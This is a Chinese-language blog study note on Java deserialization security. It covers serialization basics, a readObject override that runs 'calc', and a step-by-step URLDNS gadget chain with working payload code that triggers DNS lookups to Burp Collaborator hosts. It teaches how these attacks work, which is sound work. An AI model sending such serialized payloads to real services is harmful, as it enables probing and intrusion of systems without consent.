学习笔记
最近开了个新坑:java安全,随便写点笔记
0x01 什么是序列化和反序列化? 简单说就是让数据以流的形式在网络上传输(比如两个对象之间)或者被存储介质存储。序列化将对象转换为字节流,反序列化将字节流转换为数据。比如:A给B打电话,我们需要把声音信号转换成电/光等信号传输,然后收方再把电/光信号等还原成声音信号。
当对象被序列化时,它的状态被转换为字节流并保存起来。这意味着即使程序结束或关闭,对象的状态仍然可以被保留。当需要重新使用对象时,可以通过反序列化将字节流转换回对象,并恢复对象的状态。
Java
中被创建的对象的声明周期一般不会比 JVM
的运行周期更长,JVM
运行结束以后,其创建的对象也就消失了。但在某些情况下,我们想要达到一种效果,即即使JVM
结束运行了,我们还可以用到之前所创建的对象,或者说,我们想要将之前创建的对象保存下来,以便进行传输,更或者说,让之前JVM
所创建的对象能够在另一个 JVM
中运行。要达到这样的功能,就可以采用 Java
中的序列化和反序列化机制。
不光在java
中,php、python
均存在序列化和反序列化,下面举几个简单栗子。
0x02 php, python, java中的序列化和反序列化
写这段PHP
的时候才意识到自己已经24岁了:)还不太习惯($this->age = ‘24’)
希望时间过的慢点捏:)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php class Notbad { public $name ; public $gender ; public $age ; public function __construct ( ) { $this ->name = 'viper3' ; $this ->gender = 'male' ; $this ->age = '24' ; } }$a = new Notbad ();$b = serialize ($a );echo $b ;echo '<br\>' ;var_dump (unserialize ($b ));?> ["name" ]=> string (6 ) "viper3" ["gender" ]=> string (4 ) "male" ["age" ]=> string (2 ) "23" }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import pickleclass Person : def __init__ (self, name, age ): self.name = name self.age = age person = Person("Alice" , 25 ) serialized_data = pickle.dumps(person)print (serialized_data) deserialized_person = pickle.loads(serialized_data)print (deserialized_person.name)print (deserialized_person.age) /*b'\x80\x04\x95\x1b\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x05Alice\x94\x8c\x03age\x94K\x19ub.' Alice25 import json data = { "name" : "Alice" , "age" : 25 , "city" : "New York" } serialized_data = json.dumps(data)print (serialized_data) {"name" : "Alice" , "age" : 25 , "city" : "New York" }
Java
反序列化的操作,很多是需要开发者深入参与的,大量的库都会实现readObject、writeObject
方法,这和PHP中的__wakeup、__sleep
很少使用是存在鲜明对比的。
Java
在序列化一个对象时,将会调用这个对象中的writeObject
方法,参数类型是ObjectOutputStream
,开发者可以将任何内容写入这个流当中,反序列化时会调用readObject
,开发者也可以从中读取前面写入的内容,并进行处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 package StudyUnserialiation;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.io.Serializable;public class Person implements java .io.Serializable { public String name; public int age; public Person (String name, int age) { this .name = name; this .age = age; } private void writeObject (ObjectOutputStream s) throws Exception { s.defaultWriteObject(); s.writeObject("This is Object" ); } private void readObject (ObjectInputStream s) throws Exception { s.defaultReadObject(); s.readObject(); String message = (String) s.readObject(); System.out.println(message); } @Override public String toString () { return "Person{" + "name='" + name + '\'' + ", age=" + age + '}' ; } }
0x03 java反序列化基础 在Java中,如果一个类需要被序列化和反序列化,需要实现java.io.Serializable
接口,比如:
1 2 3 4 public class Person implements Serializable { private int age; private String name; }
Java原生实现了一套序列化的机制,我们不需要额外编写代码,只需要实现java.io.Serializable
接口,并调用ObjectOutputStream
类的的writeObject
方法即可,比如要对下面这个Person
类进行序列化操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.io.Serializable;public class Persona implements Serializable { private String name; private int age; public Persona () { System.out.println("无参构造." ); } public Persona (String name, int age) { this .name = name; this .age = age; System.out.println("有参构造." ); } @Override public String toString () { return "Person{" + "name='" + name + '\'' + ", age=" + age + '}' ; } }
将其序列化,将对象的信息写入到abc.txt
文件中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.io.Serializable;import java.io.FileOutputStream;public class SerializableTest { public static void main (String[] args) throws IOException, ClassNotFoundException { Persona person = new Persona ("zhangsan" , 24 ); ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("abc.txt" )); oos.writeObject(person); oos.close(); } }
输出结果:
可以打开abc.txt
看看怎么个事:
反序列化对象时,需要创建一个 ObjectInputStream
输入流,然后调用ObjectInputStream
对象的 readObject()
方法得到序列化的对象即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.io.Serializable;import java.io.FileOutputStream;import java.io.FileInputStream;public class UnSerializableTest { public static void main (String[] args) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("abc.txt" )); Persona p = (Persona) ois.readObject(); System.out.println(p); } }
结果:
1 Person{name ='zhangsan' , age =24}
0x04 java反序列化实例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import java.io.*;import java.io.Serializable;public class test01 { public static void main (String[] args) throws IOException, ClassNotFoundException { Persion persion = new Persion ("notbad3" ,23 ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream ObjectOutputStream = new ObjectOutputStream (byteArrayOutputStream); ObjectOutputStream.writeObject(persion); System.out.println(byteArrayOutputStream); System.out.println("------------------------" ); FileOutputStream fileOutputStream = new FileOutputStream ("data.bin" ); ObjectOutputStream oos = new ObjectOutputStream (fileOutputStream); oos.writeObject(persion); FileInputStream fileInputStream = new FileInputStream ("data.bin" ); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); Persion newpersion = (Persion) objectInputStream.readObject(); System.out.println(newpersion); } }class Persion implements Serializable { private String name; private int age; public Persion (String name,int age) { this .age = age; this .name = name; } public String toString () { return "Persion{" +"'name'=" +this .name+",'age'=" +this .age+"}" ; } }
在反序列化过程中会调用toString
函数,将字符串输出出来。
1 2 3 public String toString () { return "Persion{" +"'name'=" +this .name+",'age'=" +this .age+"}" ; }
这东西其实就是toString
的重写
如果不重写使用默认的toString
方法,toString()
方法会返回一个字符串,其中包含类的名称,后跟一个 ‘@’ 符号和对象的哈希码:
我们可以使用transient
关键字,将一些重要的信息(如密码)不被进行序列化,如果某个属性被transient
关键字修饰的话,则该属性不会参与到序列化的过程,此时将其进行反序列化后,如果该属性是引用数据类型,则返回的是 null,如果该属性是基本数据类型(如 int 类型),则会返回默认值 0(当然,boolean 的默认值是 false)。在上面那段代码的基础上做如下修改:
0x05 重写 上面的栗子中对toString
方法进行了重写,在实现 Serializable
接口的同时,还可以重写 writeObject()
和readObject()
方法,这样一旦对象被序列化或被反序列化,就会自动的调用这两个方法,而不会使用默认的序列化机制。
造成反序列化最重要的一点就是如果被反序列化的类重写了writeObject
和readObject
方法,java
就会调用重写的方法。如果该重写方法中添加了恶意的,能执行命令的代码,就会达到反序列化攻击的目的。比如还是之前的Person
类,但我重写了该类中的readObject
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import java.io.IOException;import java.io.ObjectInputStream;import java.io.Serializable;public class Person implements Serializable { private String name; private int age; public Person () { } public Person (String name, int age) { this .name = name; this .age = age; } @Override public String toString () { return "Person{" + "name:'" + name + '\'' + ", age:" + age + "}" ; } private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); Runtime.getRuntime().exec("calc" ); } }
上述代码重写了readObject方法,并且添加了弹出计算器的命令,反序列化时会执行它的readObject
,看看效果:
成功弹出计算器。这样攻击看起来很方便,直接在服务端上传一个重写了readObject方法的类的序列化串,直接能够命令执行。但是这种方式几乎不会出现。为什么?作为后端开发人员,不可能会在代码中留下这么危险的readObject方法,即使有,无源码的情况下,我们也不会知道所属该方法的类名。(因为服务端反序列化的也只有自己的类)普遍的反序列化攻击方式包含三个部分:
入口类:重写了readObject方法,并且是能够被反序列化的,最好是jdk自带的。例如HashMap
调用链:一个类的方法包含另一个类调用同名同类型的方法
执行类:能够命令执行或者远程写文件的类
URLDNS链分析 入口类选择了Hashmap
,跟进查看一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class HashMap <K,V> extends AbstractMap <K,V> implements Map <K,V>, Cloneable, Serializable { private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException ("Illegal load factor: " + loadFactor); s.readInt(); int mappings = s.readInt(); if (mappings < 0 ) throw new InvalidObjectException ("Illegal mappings count: " +
服务端发起DNS请求,找URL
类看一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public final class URL implements java .io.Serializable { static final String BUILTIN_HANDLERS_PREFIX = "sun.net.www.protocol" ; static final long serialVersionUID = -7627629688361524110L ; public synchronized int hashCode () { if (hashCode != -1 ) return hashCode; hashCode = handler.hashCode(this ); return hashCode; }protected int hashCode (URL u) { int h = 0 ; String protocol = u.getProtocol(); if (protocol != null ) h += protocol.hashCode(); InetAddress addr = getHostAddress(u);
最终会在URLStreamHandler
类调用getHostAddress
函数发起域名解析请求。所以这条链就只有两部分HashMap->URL
。
而且,HashMap
中readObject
调用了hash
方法,在hash
方法中也调用了hashcode
方法,正好可以走到URL
的hashcode
里。
1 2 3 4 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
所以:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.io.Serializable;import java.io.FileOutputStream;import java.net.URL;import java.util.HashMap;public class SerilizePerson { public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("viper1.txt" )); oos.writeObject(obj); } public static void main (String[] args) throws Exception{ HashMap<URL, Integer> hashMap = new HashMap <URL, Integer>(); hashMap.put(new URL ("http://ezh5awfh6q670nk11meskg0gr7xxlm.burpcollaborator.net" ),1 ); serialize(hashMap); }
但上述代码在序列化过程中也会发起DNS请求:
甚至没有序列化都会收到请求,为什么?跟进到put
方法:
1 2 3 4 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
为了确保键的唯一性,它会去计算key的hash值,跟进hash方法
1 2 3 4 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
它最后也会调用hashCode方法。所以在put的时候它就发起了一个DNS请求:
1 hashMap.put(new URL ("http://ezh5awfh6q670nk11meskg0gr7xxlm.burpcollaborator.net" ),1 );
另外,在我们分析攻击链的时候,如果hashCode的值不等于-1,就会返回hashCode,而不会去调用handler.hashCode。它在初始化的时候为-1:
1 2 3 4 5 6 7 8 public synchronized int hashCode () { if (hashCode != -1 ) return hashCode; hashCode = handler.hashCode(this ); return hashCode; private int hashCode = -1 ;
接下来调用put函数的时候,hashCode就变成了key的哈希值。也就是说,在反序列化的时候并不会发起DNS请求(不满足hashCode的条件),这就是一个无效链,所以我们需要调整一下代码。
1.序列化不发起请求。
2.在put后hashcode的值为-1。
可以通过反射改变已有对象的属性。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.io.Serializable;import java.io.FileOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class SerilizePerson { public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("viper00.txt" )); oos.writeObject(obj); } public static void main (String[] args) throws Exception{ HashMap<URL, Integer> hashMap = new HashMap <URL, Integer>(); URL url = new URL ("http://rvqbods4viqkcjfzeunt7qij7ad01p.burpcollaborator.net" ); Class c = url.getClass(); Field hashcode1 = c.getDeclaredField("hashCode" ); hashcode1.setAccessible(true ); hashcode1.set(url,1234 ); hashMap.put(url,1 ); serialize(hashMap); } }
可以看到此时没有收到新的DNS请求:
然后反序列化就行:
1 2 3 4 5 6 7 8 9 10 11 12 13 import java.io.*;public class UnserilizePerson { public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } public static void main (String[] args) throws Exception{ unserialize("viper00.txt" ); } }
其实关键代码就这么几行:
1 2 3 4 5 6 7 8 HashMap<URL, Integer> hashMap = new HashMap <URL, Integer>();URL url = new URL ("http://rvqbods4viqkcjfzeunt7qij7ad01p.burpcollaborator.net" );Class c = url.getClass();Field hashcode1 = c.getDeclaredField("hashCode" ); hashcode1.setAccessible(true ); hashcode1.set(url,1234 ); hashMap.put(url,1 ); serialize(hashMap);
入口A:Hashmap 接收一个参数O
目标类B:URL
目标调用B.f
A.readPbject -> O.f(这时我们传进去B被当成O,也就调用了B.f)
我们的入口类是HashMap,在反序列化的时候,它会调用重写的readObject方法,而在该方法里,它会计算第一个参数,也就是key的hash值,进而调用hash函数,进而调用key的hashCode函数。而我们的目标方法就是URL原生类的hashCode方法,满足调用链的同名同类型,让key传入URL对象,即为完整的攻击链。
1 HashMap.readObject() -> hash() -> key.hashCode() -> URL.hashCode->handler.hashCode() -> getHostAddress()
JDK动态代理 对于下面这段代码:
1 2 3 4 5 6 7 public class Student { public void eat () { sout('拿筷子' ); sout('盛饭' ); sout('吃饭' ); } }
可以无侵入式的给代码增加额外的功能。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public class Bigstar implements Star { private String name; public Bigstar () { } public Bigstar (String name) { this .name = name; } @override public String sing () { sout(this .name + "正在唱" + name); return "谢谢" ; } @override public void dance () { sout (this .name + "正在跳舞" ); } }public interface Star { public abstract String sing (String name) ; public abstract void dance () ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public interface IUser { void show () ; }public class proxywhat implements IUser { public proxywhat () { }; @Override public void show () { System.out.println("展示" ); } }public class proxytest { public static void main (String[] args) { IUser user = new proxywhat (); user.show(); } }
1 2 3 4 5 6 7 8 9 10 11 public class ProxyUtil { public static Star createProxy (BigStar bigstar) { } }
类加载 类加载机制:
类加载的时候会执行代码
初始化:静态代码块
实例化:构造代码块,无参构造函数
参考文章:
1 2 3 4 5 6 https ://blog.csdn.net/mocas_wang/article/details/107621010 ?ops_request_misc=%257 B%2522 request%255 Fid%2522 %253 A%2522170149064516800213084111 %2522 %252 C%2522 scm%2522 %253 A%252220140713 .130102334 ..%2522 %257 D&request_id=170149064516800213084111 &biz_id=0 &utm_medium=distribute.pc_search_result.none-task-blog-2 ~all ~top_positive~default-1 -107621010 -null-null.142 ^v96^pc_search_result_base9&utm_term=mocas_wang&spm=1018 .2226 .3001 .4187 https ://blog.csdn.net/qq_62414755/article/details/125886742 ?ops_request_misc=%257 B%2522 request%255 Fid%2522 %253 A%2522170149059516800188587075 %2522 %252 C%2522 scm%2522 %253 A%252220140713 .130102334 ..%2522 %257 D&request_id=170149059516800188587075 &biz_id=0 &utm_medium=distribute.pc_search_result.none-task-blog-2 ~all ~top_click~default-2 -125886742 -null-null.142 ^v96^pc_search_result_base9&utm_term=java%E5%8 F%8 D%E5%BA%8 F%E5%88 %97 %E5%8 C%96 &spm=1018 .2226 .3001 .4187 https ://blog.csdn.net/mochu7777777/article/details/130221488 ?ops_request_misc=%257 B%2522 request%255 Fid%2522 %253 A%2522170149059516800188587075 %2522 %252 C%2522 scm%2522 %253 A%252220140713 .130102334 ..%2522 %257 D&request_id=170149059516800188587075 &biz_id=0 &utm_medium=distribute.pc_search_result.none-task-blog-2 ~all ~top_positive~default-1 -130221488 -null-null.142 ^v96^pc_search_result_base9&utm_term=java%E5%8 F%8 D%E5%BA%8 F%E5%88 %97 %E5%8 C%96 &spm=1018 .2226 .3001 .4187 https ://dyfloveslife.github.io/2020 /03 /21 /Serialization-and-Deserialization-in-Java/https ://websec.readthedocs.io/zh/latest/language/java/unserialize.htmlhttps ://xilitter.github.io/2023 /02 /23 /java%E5%8 F%8 D%E5%BA%8 F%E5%88 %97 %E5%8 C%96 %E5%9 F%BA%E7%A1%80 /